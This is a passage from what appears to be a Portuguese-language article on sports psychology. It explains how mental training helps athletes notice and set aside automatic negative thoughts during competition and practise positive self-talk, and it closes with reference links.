Outro aspecto importante do treinamento mental está relacionado aos pensamentos negativos que o atleta pode ter durante uma competição. Esses pensamentos são automáticos e, muitas vezes, o atleta nem se dá conta deles. É como se uma “voz” ficasse dizendo para o atleta “você não vai conseguir”, “você não merece vencer”, entre outras crenças. O treinamento mental auxilia o indivíduo a identificar esses pensamentos e afasta-los. É possível treinar a habilidade de ter pensamentos positivos durante a competição, como “sinto-me confiante em relação ao meu rendimento”, “treinei muito e estou pronto para esse desafio”, etc.

Atualmente os atletas de alto rendimento apresentam níveis muito próximos de condicionamento físico e preparo técnico, e contam com diversas ferramentas tecnológicas voltadas para o aperfeiçoamento de seus corpos, movimentos e técnicas. Da mesma forma, existem tecnologias e ferramentas voltadas para o treinamento mental, e isso pode representar a diferença entre a vitória e a derrota. Está cada vez mais evidente que de nada adianta um corpo "sarado" e condicionado, se a mente o sabota dia após dia.

Referências:

http://www.sportpsychologytoday.com/sport-psychology-for-coaches/what-is-mental-training/

http://www.cob.org.br/pesquisa_estudo/pdfs/laboratorio_olimpico_15.pdf

http://www.efdeportes.com/efd137/treino-mental-estrategias-para-uma-melhor-eficacia.htm

 

 

 
0 Votes

0 Comments


Parceria

Revista Pandora Brasil  

Facebook

Links

CRPSP - Conselho Regional de Psicologia de São PauloNão ao ato médico!ABEP